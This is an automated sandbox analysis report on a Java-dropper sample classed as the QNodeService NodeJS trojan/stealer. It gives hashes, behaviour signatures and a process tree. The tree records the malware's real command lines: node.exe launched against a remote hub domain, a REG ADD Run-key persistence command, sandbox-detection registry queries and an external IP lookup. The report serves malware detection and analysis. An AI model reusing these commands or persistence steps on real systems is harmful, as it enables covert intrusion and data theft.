Analysis
-
max time kernel
66s -
max time network
127s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
17-10-2020 07:01
Static task
static1
Behavioral task
behavioral1
Sample
img-602501554-0001.jar
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
img-602501554-0001.jar
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
-
Target
img-602501554-0001.jar
-
Size
209KB
-
MD5
369eb059f2b5b98c7b42e14fad64c2a7
-
SHA1
84c74b6512664d339f7f49a5368f9a6fdf6025e4
-
SHA256
f80a0b2708893179f10771d1656875f67d6a9fba78ffcfe14485aae21b31dc55
-
SHA512
8cccf82be1dd1fc9b4375c1c066f077b5433fa82d03bc46c90a5ae1b348b1c5deab9ea45313720f222a45316751189ea887c526d30cf80188f74db76771093bb
Score
10/10
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 204 node.exe 2528 node.exe 3064 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\8a7db0d7-8241-4b48-9477-241beb708393 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ad5f-160.dat js behavioral2/files/0x000100000001ad5f-163.dat js behavioral2/files/0x000100000001ad5f-167.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 24 wtfismyip.com 25 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 204 node.exe 204 node.exe 204 node.exe 204 node.exe 2528 node.exe 2528 node.exe 2528 node.exe 2528 node.exe 3064 node.exe 3064 node.exe 3064 node.exe 3064 node.exe 3064 node.exe 3064 node.exe 3064 node.exe 3064 node.exe 3064 node.exe 3064 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2584 wrote to memory of 212 2584 java.exe 75 PID 2584 wrote to memory of 212 2584 java.exe 75 PID 212 wrote to memory of 204 212 javaw.exe 77 PID 212 wrote to memory of 204 212 javaw.exe 77 PID 204 wrote to memory of 2528 204 node.exe 79 PID 204 wrote to memory of 2528 204 node.exe 79 PID 2528 wrote to memory of 3064 2528 node.exe 80 PID 2528 wrote to memory of 3064 2528 node.exe 80 PID 3064 wrote to memory of 2844 3064 node.exe 82 PID 3064 wrote to memory of 2844 3064 node.exe 82 PID 2844 wrote to memory of 3812 2844 cmd.exe 83 PID 2844 wrote to memory of 3812 2844 cmd.exe 83
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\img-602501554-0001.jar1⤵
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\99069384.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:212 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain karimrnosa2.home-webserver.de3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:204 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_B92SGw\boot.js --hub-domain karimrnosa2.home-webserver.de4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_B92SGw\boot.js --hub-domain karimrnosa2.home-webserver.de5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8a7db0d7-8241-4b48-9477-241beb708393" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:2844 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8a7db0d7-8241-4b48-9477-241beb708393" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:3812
-
-
-
-
-
-